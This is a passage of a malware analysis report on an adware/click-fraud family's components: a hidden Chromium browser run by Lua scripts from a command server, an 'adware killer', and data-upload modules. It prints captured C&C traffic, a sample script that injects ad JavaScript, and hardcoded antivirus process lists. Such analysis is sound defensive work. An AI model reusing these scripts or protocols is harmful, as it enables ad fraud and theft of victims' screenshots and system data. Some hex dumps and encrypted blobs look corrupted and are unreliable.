- **6 – Windows 8.1**
- **7 – Windows 10**
- **8 – a newer Windows Operating System**
- ***wow\_64* – „1” if is running under WoW64 subsystem otherwise „0”**
- ***email* - unused**
- ***mac* – victim's mac address**
- ***mode* - unused**
- ***token* – always empty for first request**
- ***ver* – version of this malware component**

Later requests are made to retrieve the list of websites that need to be visited.

```
POST /client-api HTTP/1.1
Host: client-api.essads.com
Accept: "*"
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Length: 368
Content-Type: application/x-www-form-urlencoded

9b904e26a06f93f2b6b076ed9779209fe497fe3567a0b70268e81d79275529af625d368eb4d70a710f311e9d20e5406c5989cf03bf859471ab0e88cf62420a6956faf22698eb7b2
40d223470d3784fbdc9d79fe74fc524510afe9f491ebbc947abaa0d534ale156313da941c456c9c25c3754e143b4e06b8bf3615bbb91a737e7af26042ed12d778bf758b9c88ce
4dfc58d46facbd883ae41a01914b9261f0e0ad8fb4d1677490f06e5c99af8b6a78e02767a4e8f6a6HTTP/1.1 200 OK
Date: Thu, 22 Feb 2018 14:51:28 GMT
Server: Apache/2.2.22 (RELEASE@)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Z_IP: 189.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked
Content-Type: text/javascript; charset=utf-8

65327554761e0f4520457b852ee41c13112be2f60f36d01526b53175c94051cd6d52f6d1b27c2643c2641bc51783b630caf2a18693369e451ab0e88cf62420a665327554761e0f45
5c6cc27b29ed51a48668d3a891829093604c398223c3518489648017846fb758a204ed0d4892c993022fd24f72734e163d415556e6e6e2569f7495
59178ba598a1f5dd68959ddbaaa860913e78356eff9ecf0532739ba2f3e9fa909a8002fc075eb1cb94e45568431a20c9c8728671b74cd604e98a5b48b284f5adb9e9c1db4958
d9654240b658bf60222abe39f96c9c40d2880a0aa1a51e88823c351848961f4d689471a021722c602d3d036198c6b695077a4a0f202f175fd16a01a02225f
d11c96035a0224fb92a0103f4e730898f756745cd0ef0fa58e6f833096c0ad4f3b1a96f0947d4ddc3835700894cb2b496734a5cca0f9789000c2d3e3f20d4134e6094b91145c7
585483976b65915cf8699a619b63328416d250b3ea2548e1fd1fda3e3defe0a3e15c0d52976b5aef1773496324d289978cb75008f415037518127b71f6c6797e81b538c92e28470
c40df1f2fced411b5c1c6c8254520795a0e52c9fd09ab4ade446d7d8322078cb75008f415037580bdf1f7d78b4eb8857acdebaaa3de6d0b78100c012bfl105da26b25eb7d7dec
4e91f5fc9eaa46f767c1ec78f3ce0b196511fdca4cd91f94ff035a63784f01964721f8d50a0d23b3d6a22d4c1d022551f2d68d47716a027a5225f6a6676d338c512bdc4c6b83423b3f
1d5e11f644f7c03906416bc96c5656ea3fa8d0759da9b71f61fcb4076ab23739ba2f3e9fa909e7b60ca78202f8f04862340786a527add577a519bcd193776c8228575bc516
54f52d3f8d6596a77a3d918b91e26ed6ec99de5468c943a1b8ab9f9a91c2d8bd3d4fb795b88098913a014b610d849f64e9d1e28a0256912d59f090dd62cc246642e1e739792
9eca23507633b270bb88009dbf00def6a9bf183ddfd647e9d8f0f618dcf7fed10bb8800d9f808def9ee32e35d339e0c36dfbfb8993b872307997a8329cf647e048a61beb7e7
cc6b386c2b102646ab2f3d72a7b6a6ffaae4de370d59631ab45e3a4def1a0390711151daleaddcd6f2d2a6866910c77a54347314152120008acf7b30cbbbed587035a9113f04f55
7a3d918b91e26e6599784cd6b8d45304ce0fa5dadcd47d6707bd4c8ad5088d34355f732c74d79c06177def82b87be51de07da9ef3466fccc9d117eedaf5f3829008d0b9ad75fb024
6600f823e46c36fb04d4ab343021c318c35cd834d6344351637f084ffec24419b625b75ce8f458ef5823b7ca0f78353b179ee77a387adbd3c7800b41447c61fbdf5lco27cb3f
9d01d11f5d0a1b81278b13aa5fecb3c3ta8a5775d4b52901969b94d6ef69521c63b0b6302ae791fd659152e6223cb57586f52188810912d659f090dd62cd8f0f618dcf77ed1
5b5b0e4d243d2ff708383eaa3a2989656b490f5dadff74197fd8ac413e4d36bac7b7d4a4dd035f1affdcbb4bd9f6b57e43159f414918e8f9c1d16ff19e9a97da24
e86cd0a4c822d7e77cf078a88d995401f1fdcd44579836b7cf12100f632f5dbd3f1ea247bce0e43585e86349f972c52b288ab55d5b7d48e756e294120f5c72af48bf9e9cb388dfeb
e0537113a7b89b2b0a34d5d2c8dced8f74168d49983e4c584244ab4121ef9622d38a1c2ab7a47d4055be71e54d4806c79fa39f731e337877882810592802353e28640a52e7a3fb
0884488b81b317cef83a01e789b8f4fa8d480022271dc2a0308c7956ba1ef9044438da949bd802e4edba36c36508ef7487fbc604a00b7164cf576c13d8ca334e8fefc3ff10
4e0e63315b51d95b5471fb0560f28b8d1b0b8fb2b446e04e62a418ea2564b47900b417c07fb10e6a0173187b6e173ab72c3c307eab559723cd2b600aadd1b31d256110ad85ee714
f780f4338fa37c354db0c933df9fb5a154b977da578ceb5c1d1e82d4a4946b9c90d5691ad56520a6590d5937f9d5f99e4148b708a563b2abf11b644e4c71346b7491b4313a1baaa
112fc9b7672059b7e24e5286770be8e08823573f8f02790640d0b4269c8ede49f6192b822f6448c4a9c6a89c6b72bea444c75bd2c0cd651b207e4ad73de3d01853f5cbc77
bd1ed8f92705e87a6f82d6f68b4d39cdfe93518149addeb704123e4a5625428d0e6d7bf8583283bcd5971c238389d454f187d7f07254c62d9281b87e465e5f57433b3e3d7a0
beae7ef2a26ef18e10297ed41a653e83bb24b3d5283058612e7d1a637192fa7d3f72fe4f349c19595073376fa98347c8930deaf9072b98e67fbfb8274566c11586c03b21b99a
28fc4b3e88731036f55eedb9fc9dfcd38041eca2554b2037af946bd88c25419ab2f3d72a7b6a6ff7b88f632803a0a993c1756c4bf950fb4098b6bbfd3a01674bf78cc3b75030393
6b233999b45fab178c2c8837ccbe46f390a35f0d5f4b6d22f7da6866910c77ace0f24f55bceabf536184787745852172804523221e9c44cb660595951cec3882ac233fbe8c41
2b7083a0e04e8699c9a70529526800d67eacc461b9f1d10f7cc9c5167198a6f1affdcbb4bd9f6eacf4dd17629cdfe06d443f4a26ae632199e9539fe2c7fc02560f236e922e23e
8789c87b3b69830b6846d2e094257d1d191e1010dec746f807a205e00ad5db220572b987f8c45deleba3c650173fc6b61fb0cce245c12dd6bb17cb933709616793f1784dad69a0
340c26e9b6497b6e781307a96b4422af963e5b5d1d0a4f728e3a6816a6590b855a500e731ad6198be177ad2f669f47870c4d6984c54e554e6f00859e765d29fb11b92a588d23165abc
a7571e37b0eaa21de09d4922784c3705cd5dc8f3c1a31ea907691aba7e6f8bfc1705e56ee538bc241c1509038df2d5d88580cbde7ee7ab23b6fcfd2dea95aaa3e0235c04d4d513
```

To identify the slave component, it searches for a file that has the ***Copyright*** field in the file version information set to ***Jetbrains***. If the file is found, it will be executed with the ***-starup*** command line to signal the slave to initialize its components.

## Payload - Slave

The component corresponds to **vmxclient.exe** file.

This component acts as a custom hidden browser used to render webpages and advertisements in the background. It uses CEF (Chromium Embedded Framework) for webpage rendering and Lua scripts to emulate human interaction with the page by performing actions like scrolling or clicking on the rendered webpage, as well as to control browser actions dynamically: to reload the page, to go to the previous page, or even inject javascript in the page.

It gets started by the Payload – Master (**svcmx.exe**) component with **-starup** argument. It is hidden from the user by being started in another desktop than the default one. The name of this desktop is "**srcvmx\_desktop**".

The pipe created by the master component ("**SVCVMX(72CE8DB0-6EB6-4C24-92E8-A07B77A229F8)**") is opened and used to receive information about what webpages to visit. It binds multiple C functions to Lua with the Lua C API. Those functions will be used to dynamically control the actions of CEF from scripts received from the C&C.

Because it uses CEF to render webpages, multiple processes will be spawned, in a manner similar to how Chromium/Chrome browsers spawn many processes. There is a main process, a process used for GPU rendering, one for the Pepper Plugin API (PPAPI) used for Flash Player, and a process for every tab or, in our case, webpage rendered simultaneously.


		1.456 K	2.072 K	2584 Client Service
avcpml.exe	45.44	29,884 K	63,056 K	2884 Windows Process Manager
mscgwab.exe		17,764 K	20,488 K	2160 Windows Process Manager
mscgwab.exe	18.99	46,968 K	252,456 K	2904 Windows Process Manager
mscgwab.exe	0.36	26,456 K	25,188 K	1808 Windows Process Manager

An example webpage is described by the following JSON received from the CnC:

```
{
  "id": 19883831,
  "sn": "2T771BU6GN",
  "name": "pri3-1-0 video2 m1",
  "url": "http://www.cookie.com",
  "mobile": "",
  "insertjs": "",
  "allowbigpic": 1,
  "historylength": 17,
  "needoldcookie": 696,
  "allowflashnumber": 100,
  "is_mobile": 0,
  "flver": "27.0.0.130",
  "st": [30, 45],
  "subpage": "",
  "user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.15 Safari/537.36",
  "size": [100, 100],
  "referer": "",
  "click": "",
  "clickwhitelist": "",
  "customscript": "InsertJs(`<script type=\"text/javascript\" src=\"http://www.eereader.com/ads6.js\"></script>`)\nfunction RandScroll(id)\n  SendMouseMoveBrowser(id);\n  local count = RandInt(1, 1);\n  Sleep(RandInt(1, 1));\n  for i = count, 1, -1 do\n    SendMouseWheel(-500, id);\n    tSleep(RandInt(2, 5));\n    end\nend\nfunction Main()\n  OpenUrl(\"http://www.riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-karges-wins\");\n  Sleep(RandInt(10, 11));\n  local id=TopWindowId();\n  RandScroll(id);\n  Sleep(RandInt(20, 21));\n  RandScroll(id);\n  Sleep(RandInt(20, 21));\nend\nMain();",
  "priority": 0
}
```

And the following data is sent on the pipe and received by the slave component:

Offset	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	10	11	12	13	14	15	16	17	18	19	1A	1B	1C	1D	1E	1F	0123456789ABCDEF0123456789ABCDEF
000000h	6C	03	00	00	01	00	00	00	01	00	00	00	02	02	00	90	37	67	2F	01	01	00	00	00	0E	00	00	00	8C	02	00	00	
000002h	64	00	00	00	00	00	00	00	1E	00	00	00	2D	00	00	00	64	00	00	00	64	00	00	00	0A	00	00	00	32	54	37	37	
000004h	6C	42	55	36	47	4E	00	00	12	00	00	00	70	72	69	33	2D	31	2D	30	20	76	69	64	65	32	20	6D	31	00	00		
000006h	15	00	00	00	00	68	74	74	70	3A	2F	2F	77	77	77	2E	63	6F	6F	6B	69	65	2E	63	6F	6D	00	00	00	00			
000008h	0A	00	00	00	32	37	2E	30	2E	30	2E	31	33	30	00	00	78	00	00	4D	6F	7A	69	6C	6C	61	2F	35	2E	30	20		
0000A0h	28	52	61	6E	64	6F	6D	69	7A	65	64	20	62	79	20	46	72	65	65	53	61	66	65	49	50	2E	63	6F	6D	2F	75	70	
0000C0h	67	72	61	64	65	2D	74	6F	2D	72	65	6D	6F	76	65	3B	20	63	6F	6D	70	61	74	69	62	6C	65	3B	20	4D	53	49	
0000E0h	45	20	39	2E	30	3B	20	57	69	6E	64	6F	77	73	20	4E	54	20	35	2E	30	57	4F	57	36	34	29	20	43	68	72	6F	
000100h	66	65	2F	32	30	2E	30	31	32	32	39	2E	37	39	00	00	00	00	00	02	B2	00	00	49	6E	73	65	72	74	4A	73		
000120h	28	22	3C	73	63	72	69	70	74	74	79	70	65	3D	5C	22	74	65	78	74	2F	6A	61	76	61	73	63	72	69	70	74		
000140h	5C	22	20	73	72	63	3D	5C	22	2F	2F	77	77	77	2E	65	65	72	65	61	64	65	72	2E	63	64	73	36	(" <script type=\\"text/javascript\\" src=\\"/www.eereader.com/ads6.js\\></script>")function RandS				
000160h	2E	6A	73	5C	22	3E	3C	2F	73	63	72	69	70	74	3E	22	29	0A	66	75	6E	63	74	69	6F	6E	20	52	61	6E	64	53	
000180h	63	72	6F	6C	6C	28	69	64	29	0A	20	20	53	65	6E	64	4D	6F	75	73	65	42	72	6F	77	73	65	72	(id);local count = RandInt(1, 1);Sleep(RandInt(1, 1));for i = count, 1, -1 doSendMouseWheel(-500, id);Sleep(RandInt(1, 1));end;end;function RandS				
0001A0h	28	69	64	29	3B	0A	20	20	6C	6F	63	61	6C	20	63	6F	75	6E	74	20	3D	20	52	61	6E	64	49	6E	74	28	31		
0001C0h	20	31	29	3B	0A	20	20	53	6C	65	65	70	28	52	61	6E	64	49	6E	74	28	31	2C	20	31	29	3B	0A	20	20	66		
0001E0h	6F	72	20	69	20	3D	20	63	6F	75	6E	74	2C	20	31	2C	20	2D	31	20	64	6F	0A	20	20	20	53	65	6E	64	4D		
000200h	6F	75	73	65	57	68	65	65	6C	28	2D	35	30	30	2C	20	69	64	29	3B	0A	09	53	6C	65	65	70	28	52	61	6E	64	
000220h	49	6E	74	28	32	2C	20	35	29	29	3B	0A	20	20	65	6E	64	0A	65	6E	64	0A	66	75	6E	63	74	69	6F	6E	20		
000240h	4D	61	69	6E	28	29	0A	20	20	4F	70	65	6E	55	72	6C	28	22	68	74	74	70	3A	2F	2F	77	77	72	2E	76	68	31	
000260h	2E	63	6F	6D	2F	68	65	77	73	2F	32	39	36	30	35	31	2F	73	74	65	76	69	65	2D	6A	74	65	6C	63	72	2D		
000280h	66	61	69	74	68	2D	65	76	61	6E	73	2D	74	68	65	79	2D	77	6F	75	6C	64	2D	62	65	2D	70	6F	77	65	72	2D	
0002A0h	63	6F	75	70	6C	65	2F	22	29	3B	0A	20	20	53	6C	65	65	70	28	52	61	6E	64	49	6E	74	28	31	2C	20	31		
0002C0h	31	29	29	3B	0A	20	20	6C	6F	63	61	6C	20	69	64	3D	54	6F	70	57	69	6E	64	46	77	49	64	28	29	3B	0A	20	
0002E0h	20	52	61	6E	64	53	63	72	6F	6C	6C	28	69	64	29	3B	0A	20	20	53	6C	65	65	70	28	52	61	6E	64	49	6E	74	
000300h	28	32	30	2C	20	32	31	29	29	3B	0A	20	20	52	61	6E	64	53	63	72	6F	6C	62	68	69	64	29	3B	0A	20	20	53	
000320h	6C	65	65	70	28	[52]	61	6E	64	49	6E	74	28	32	30	2C	20	32	31	29	29	3B	0A	65	6E	64	0A	0A	4D	61	69	6E	
000340h	28	29	3B	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000360h	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	



A new browser window is created with the desired configurations such as user agent, flash version and size. The Lua script present in the **customscript** field of the JSON is then executed using the Lua interpreter. An example of such a Lua script is:

```
InsertJs(,,<script type=\\"text/javascript\\" src=\\"/www.eereader.com/ads6.js\\></script>")
function RandScroll(id)
    SendMouseMoveBrowser(id);
    local count = RandInt(1, 1);
    Sleep(RandInt(1, 1));
    for i = count, 1, -1 do
        SendMouseWheel(-500, id);
        Sleep(RandInt(2, 5));
    end
end

function Main()
    OpenUrl(,,http://www.riverfallsjournal.com/sports/college/4169585-falcons-open-final-season-karges-wins");
    Sleep(RandInt(10, 11));
    local id=TopWindowId();
    RandScroll(id);
    Sleep(RandInt(20, 21));
    RandScroll(id);
end
```

```

Sleep(RandInt(20, 21));
end

Main();

```

The **InsertJs**, **SendMouseMoveBrowser**, **SendMouseWheel**, **RandInt**, **OpenUrl**, **TopWindowId** and **Sleep** functions are implemented natively and bound to Lua. The code above opens a URL and inserts a javascript in it. It waits 10 or 11 seconds then scrolls the page downwards every 20-25 seconds a couple of times. The javascript inserted displays a video ad.

Scrolling is implemented in all scripts we received from the C&C. Other scripts did not insert a javascript; instead they opened a URL with or without a referrer. Those that don't inject javascript usually point to an ad server such as <http://www.feisearch.com/to.php> or <http://www.searchingnetwork.com/to.php>, while the ones that do inject javascript in the page usually lead to legitimate websites.


The following functions are bound to Lua and can be used from the received scripts to control actions in the browser:

- **Reload**, **Stop**, **Back**, **Forward** – navigate through already-visited webpages
- **RandInt** – return a random integer between two numbers
- **Debug** – display a message for debugging purposes
- **InsertJs** – insert the specified javascript in the browser
- **SleepMS**, **Sleep** – sleep for a number of milliseconds or seconds
- **CurrentURL** – returns the current URL
- **SetCurrentDeviceHeightWithBar**, **SetCurrentDeviceHeightDValue** – used to change the size of the window
- **SendMouseClickAndMoveBrowserJs**, **SendMouseClickAndTouchJs**, **SendMouseClickAndMoveJs**, **SendMouseClickCenterJs**, **SendMouseClickJs**, **SendMouseMoveJs**, **SendMouseMove**, **SendMouseWheel**, **SendMouseMoveRect**, **SendMouseClickRect**, **SendMouseClick**, **SendMouseMoveBrowser**, **TouchScroll** – used to mimic mouse motion, scrolling and clicking
- **InputString** – mimic keyboard presses to input a string
- **ExecuteScriptAndReturnValue**, **ExecuteScript** – used to execute javascript
- **TopWindowId** – used to retrieve a handle to the top window of the browser
- **OpenString**, **OpenUrl**, **OpenUrlWithReferrer** – used to navigate to an URL. The **OpenString** function can be used to inject JavaScript when loading a page.

The attacker can leverage those functions to perform any action on a website inside the custom browser.

Some of the pages are visited while impersonating a mobile device by changing the size and user agent parameters in the received JSON. For example, it uses the following user agent: "Mozilla/5.0 (iPhone; CPU iPhone OS 10\_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/55.0.2883.79 Mobile/14C5077b Safari/602.1" to make it appear that an iPhone is visiting the webpage.

We were able to make the browser window visible and monitor its actions on the page. However, all of the video ads it was trying to display were no longer available.



Trying to display a missing video ad on a webpage. Screenshot taken after the page was scrolled by the malware.

## Adware Killer

The component corresponds to **winscr.exe** file.

This component integrates the source code of two different open-source projects:

- Qt
- Zlib

The goal of this component is to:

- terminate and remove the files of the running processes, services and auto-run files that it receives as either file name list or MD5 hash list
- take screenshots of the victim's desktop and send them to the C&C
- report back to the C&C the file paths of applications set to run automatically at Windows startup and service list, depending on the received file name list.

To run, it needs **-starup** parameter. It starts by creating **{A4974F22-4BC8-45FA-BBC4-F1CF43265422}** mutex. Several requests to the same C&C are made using API, each of them having specific functionality.

```
GET /api/qzmd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: */
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Accept-Encoding: gzip, deflate
Host: www.qzmd.com
```

```
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 27 Mar 2018 06:02:41 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache
```

a6eb020aaef9e69662f02d201bd3c678e9046118641b47d78030091f9e8e2ed87fdaf0defc16f7fb2beae9379db84e19f028571bc7fesfd84a112e60fa018ce883e386e5755cd13bfcc08ad03dc4bf6d254e0811e1635e16b3697d8709bf8b5107e1c6d4984272440838b538db260dd0f591c13d3b6eac55757r83f1eaeb695b9e393d16c28c73cf15b1306916dbbb8979113353cd14991b103856987e8703a62f13092d3ca2759592d432ac373949bc0fde97257bcd0b9d876875e85dd07731ce1fc39927f07cfa13992773d00ce017c0f8ab019974f671e947ff48b463235bed41a10246374404d9430dbfc8f135ee583dbf696e630787914d71285d4ec30487ff2b411f253554685261e061bef4e3481a539b1c955693bd5f520ab70b588ec7151ac9a5e3307bbc54f7a3673bc6be60a47dc9a378b52af2a861dc9f09e2366dc4aaeb89178bce9877f5c73c796d2f3bf6be28a35e9020df05f521d3e1cc19211a644002520f5921856g9008482f61314809bfab6e05e958ba76e489ea8256cef05f307fd4fcdbcf2d855pd57524a61356c89d8b938502f8686880291

The first request is made to receive a list of MD5 hashes. These hashes belongs to all kinds of adware files and it seems no particular adware family is targeted. For every binary file of the running processes, a MD5 hash is computed and compared against the received list. In case of a match, the corresponding process will be killed and the corresponding files will be deleted.

The purpose of the second request is to receive a list of file names categorized in two groups: „**autostart**” and „**serviceexists**”. Autostart category list will be used to delete those file names that match this list from the registry entries path

`HKLM\Software\Microsoft\Windows\CurrentVersion\Run` and `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and services which are marked as autostart. The „service exists” category will be used to delete those existing services whose file names are in this file names list.

55451716157e920eGET /api/qzki HTTP/1.1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36  
Accept: \*/\*  
Connection: keep-alive  
Accept-Language: zh-CN  
Content-Type: image/jpeg  
Accept-Encoding: gzip, deflate  
Host: www.gpt9.com

HTTP/1.1 200 OK  
Server: nginx/1.12.2  
Date: Tue, 27 Mar 2018 06:02:42 GMT  
Content-Type: text/javascript; charset=utf-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
X-Powered-By: PHP/5.4.16  
Z\_IP: 109.103.135.190  
Expires: Mon, 26 Jul 1997 05:00:00 GMT  
Cache-Control: no-cache  
Pragma: no-cache

3d0e9bc33ffc7d620b60c9836f6427f4043f3a782bd17b2436f7d61f3867b46d04c29f9daac916540f2368853fdca6faa004371c49f1fb1088d7359eda5d5592a57537768e009c8  
2d7e3a83ce8d17f1193fec98f62c0fc0088d7359eda5d559f10cd28d73d9fbf12d4fa5e7035c1571d787cc5410805918c8a2bcdcab4bb681c0bb78a8f9e52f552758a6ee84641d  
0a2dcab3634125e830867951fa7ef6396abc5effbc2ac5edcd6b0a2b4df93989ccb810867859cd9e9f2607d001a8165a5cf757f0190e2309db6cfe7cfbe73f371274a47d62034  
05751b130fd97790aff44c0af28bc2ae73f6331d23c6f9eb5f8b0a56665971eb5f8b0a56665971bfbe340e94430d9471d787cc54108059159703974b53fb2d

This API requests handle screenshot uploads and sending of additional information about the victims. The query string contains:

- **guid** – client unique id (located in registry at value „Liveup” from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`)
  - **ver** – file version of the „windowsmanagementservice” service
  - **setuptime** – install time (located in registry at value „install\_time” from `HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService`)
  - the following fields are set with „1” if the process with the same name as the field’s is running or „0” if it’s not:
    - *ct*
    - *dataup*
    - *cpx*
    - *svcvmx*
    - *qdcomsvc*
    - *szpsrv*
    - *splsvr*

<code>rdtdata 0006AB02C</code>	<code>360tray.exe</code>	<code>a2service.exe</code>	<code>a2start.exe</code>	<code>ddwareDesktop.exe</code>	<code>ddwareService.exe</code>	<code>ddwareTray.exe</code>	<code>avastsvc.exe</code>	<code>avgrex.exe</code>	<code>avgavcx.exe</code>	<code>avguard.e</code>
<code>rdtdata 0006AB03D</code>	<code>avguix.exe</code>	<code>avp.exe</code>	<code>budget.exe</code>	<code>bulldog.exe</code>	<code>cis.exe</code>	<code>CisTray.exe</code>	<code>duengine.exe</code>	<code>equi.exe</code>	<code>ekm.exe</code>	<code>PortClient\virust</code>
<code>rdtdata 0006AB04E</code>	<code>camino.exe</code>	<code>FFMPEG.exe</code>	<code>firefox.exe</code>	<code>foobnaind.exe</code>	<code>gabbi.exe</code>	<code>gabbi.exe</code>	<code>gabbi.exe</code>	<code>gabbi.exe</code>	<code>gabbi.exe</code>	<code>gabbi.exe</code>
<code>rdtdata 0006AB0DF</code>	<code>ucMon.exe</code>	<code>K7ISecurity.exe</code>	<code>K7TCMain.exe</code>	<code>msshield.exe</code>	<code>mssecesc.exe</code>	<code>nanosu.exe</code>	<code>nanotic.exe</code>	<code>nanotic.exe</code>	<code>nanotic.exe</code>	<code>Melware.Cleaner.exe</code>
<code>rdtdata 0006ABC70</code>	<code>UC.exe</code>	<code>pcntmon.exe</code>	<code>PSUIMain.exe</code>	<code>PSUIMain.exe</code>	<code>PSUIMain.exe</code>	<code>QHILPEUC.exe</code>	<code>SBSCore.exe</code>	<code>shantray.exe</code>	<code>EBSService.exe</code>	<code>sfc.exe</code>
<code>rdtdata 0006ABD01</code>	<code>s UI.exe</code>	<code>spideragent.exe</code>	<code>SUPERAntiSpyware.exe</code>	<code>twister.exe</code>	<code>vba32ldr.exe</code>	<code>vba32tray.exe</code>	<code>vba32ui.exe</code>	<code>vbscript.exe</code>	<code>MBRSservice.exe</code>	<code>svchost.exe</code>

– a list of running antimalware processes. The antimalware process names are hardcoded in the binary file:

- **reg** – depending on which of its components are set in `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` it will set this value:
    - 1 - svcvmx
    - 2 - cpx
    - 3 – both
    - *empty* if none of the above
  - **autostart** – auto run files registered in `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` and `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`



`Microsoft\Windows\CurrentVersion\Run` registry paths which are not whitelisted.

- **serviceexist** – list of services that are not whitelisted.
  - **drmkpro** – „1” if *drmkpro64* service exists, otherwise this will be set to „0”

```
|.rdata 0006ABD08 svchost.exe snss.exe csrss.exe services.exe winlogon.exe lsass.exe lsn.exe novsvc.exe nvdsync.exe nvstreamsvc.exe dhmachinesvc.exe  
|.rdata 0006ABE1B e spinlos.exe dhpluginmgr.exe umsanct.exe wininit.exe apphelloworldservice.exe atkexconsvc.exe sechassisrv.exe thescovc.exe whizbrisv.  
|.rdata 0006ABEAE xe searchindexer.exe gexperienceservice.exe peas.exe nalserv.exe nsmemoryservice.exe TrustedInstaller.exe imptekv.exe vmsare.exe  
|.rdata 0006ABF41 thd.exe UNMEIMCP.EXE vmmware-usasharbitrator64.exe TeamViewer_Service.exe wProtect.exe nlsrr32.exe vmmware-hostd.exe OEPSVC.EXE d112  
|.rdata 0006ABF4D ost.exe unhandled.exe IPHotoConvse.exe msdtc.exe yyyy-mm-dd hh-mm-ss 2 cpx1 succvm 0 jpeg guid %!&ver=2&ext=3&id=
```

The whitelisted file names are hardcoded in this binary:

HTTP/1.1 200 OK  
Server: nginx/1.12.2  
Date: Tue, 27 Mar 2018 06:02:42 GMT  
Content-Type: text/html  
Transfer-Encoding: chunked  
Connection: keep-alive  
X-Powered-By: PHP/5.4.16  
Z\_IP: 109.103.135.190

Another request is made to receive a list of file names that is used to compare the auto run file name entries from Registry path

**Decrypted request:**  
guid=39AD62CFDA7647DAB524082E9595ED85&ver=5&setuptime=1970-01-01 02:00:00&ct=0&dataup=0&cpx=0&svcvnx=0&qdcomsvc=0&s2psrv=0&sp1srv=0&av=0&reg=0

**HKLM\Software\Microsoft\Windows\CurrentVersion\Run** and **HKCU\Software\Microsoft\Windows\CurrentVersion\Run** and existing services. The matched entries are sent back along with the full file path of the binary to another API of the same C&C.

```
GET /api/eftl HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: /*
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Accept-Encoding: gzip, deflate
Host: www.gpt9.com

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 27 Mar 2018 06:02:42 GMT
Content-Type: text/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache
Pragma: no-cache

dd0b9012512ea96dde63f23c41186e162e32f9587536254648e5fa9386c8851a475a93fa3de92d4e468f90da82adc63e95c7604c4b4ef6b38ba8d70090b551eb85bc7e74c045af73129f0
982d8a07ed59f113484e62b4af9bf402daaec6a65d3437ff78bdc6865890909fd4a91fa9e85270eebd99ec6d25718f18a71a0a278659fa9508f8a7df45312749a78a9cb82b88ec796
cc8c69cfb4936162303d25705b1b130fd97790b0d00028c6cb3c79d7129e1bd52f687d672dad0df9edf39d491f5ef099943cc8624b00838f2dd431594794d767alad361556f9b37e28f4
0bbf9630bca3b4eef8ffadff9d46ce4fd

Decrypted response:
["OLE.EXE", "AOlSoftware.exe", "DhxSvc.exe", "Discord.exe", "GrooveMonitor.exe", "hkcmd.exe", "igfxpers.exe", "igfxtray.exe", "mDNSResponder.exe",
"PresentationFontCache.exe", "ppsvc.exe", "vmware-usbarbitrator.exe", "vU86000.exe", "WindowsService.exe"]
```

```

POST /api/l1?q= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: /*
Connection: keep-alive
Accept-Language: zh-CN
Content-Type: image/jpeg
Content-Length: 208
Accept-Encoding: gzip, deflate
Host: www.gpt9.com

e2a847a1be29f7d9de0c5e775db903c5b1e6e0eaeece30acf914ccc1d6d11ec35e46304aff48503a1dee300855dfe92ec81cd3783d3fd2c1eeeafde215b7d83a5edc3e79797403e46
85fb79aca19d6cdb91dcbe675ac19cf038aeccfc95c2e43403532d82cd7e

```

**Decrypted request:**  
**sppsvc.exe:"C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSUC.EXE"**

## AV Info Service

The component corresponds to **qdcomsvc.exe** file. This component is a simpler version of the **Adware Killer** with less functionality. It searches for AV processes, send information about other running adware components, checks *drmkpro64*. The component can be started with the following commandline parameters:

### **install**

Will install itself as **qdcomsvc** as a service in Registry. The service will be started with **/svc** parameter.

### **svc**

Service Control Manager will start the process with this parameter (will register service handlers).

## Dataup

The component corresponds to **dataup.exe** file. This component uses the following libraries to function:

- **help.dll.dll** – library which exports three functions:
  - *HelpDecrypt* – decrypt the provided string
  - *HelpEncrypt* – encrypt the provided string
  - *HelpGuid* – gets the client guid **Liveup** from **HKLM\Software\Microsoft\Network\FileService**
- **NTSVC.ocx** – it's a legitimate file used as event log message file

The Dataup component expects two parameters:
